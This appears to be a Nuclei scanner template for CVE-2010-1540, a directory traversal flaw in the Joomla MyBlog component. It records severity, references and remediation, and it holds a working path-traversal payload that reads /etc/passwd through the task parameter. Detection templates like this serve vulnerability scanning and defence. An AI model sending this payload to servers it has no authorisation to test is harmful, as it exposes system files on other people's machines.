id: CVE-2010-1540

info:
  name: Joomla! Component com_blog - Directory Traversal
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in index.php in the MyBlog (com_myblog) component 3.0.329 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the task parameter.
  impact: |
    An attacker can access sensitive files on the server, potentially leading to unauthorized disclosure of sensitive information.
  remediation: |
    Apply the latest security patches or updates provided by Joomla! to fix the directory traversal vulnerability in com_blog component.
  reference:
    - https://www.exploit-db.com/exploits/11625
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1540
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2010-1540
    cwe-id: CWE-22
    epss-score: 0.04686
    epss-percentile: 0.89475
    cpe: cpe:2.3:a:myblog:com_myblog:3.0.329:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: myblog
    product: com_myblog
  tags: cve2010,cve,joomla,lfi,edb,myblog,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_myblog&Itemid=1&task=../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 490a0046304402201efa1a8a9a575ca4916358a875dd66b45e5b63ff84ca9fc48b1513a65294e564022074534e11e6ba09dcf08c1764f7e4bc9c99c83fcf6c7825e5cfa6c30b65fdfc7f:922c64590222798bb761d5b6d8e72950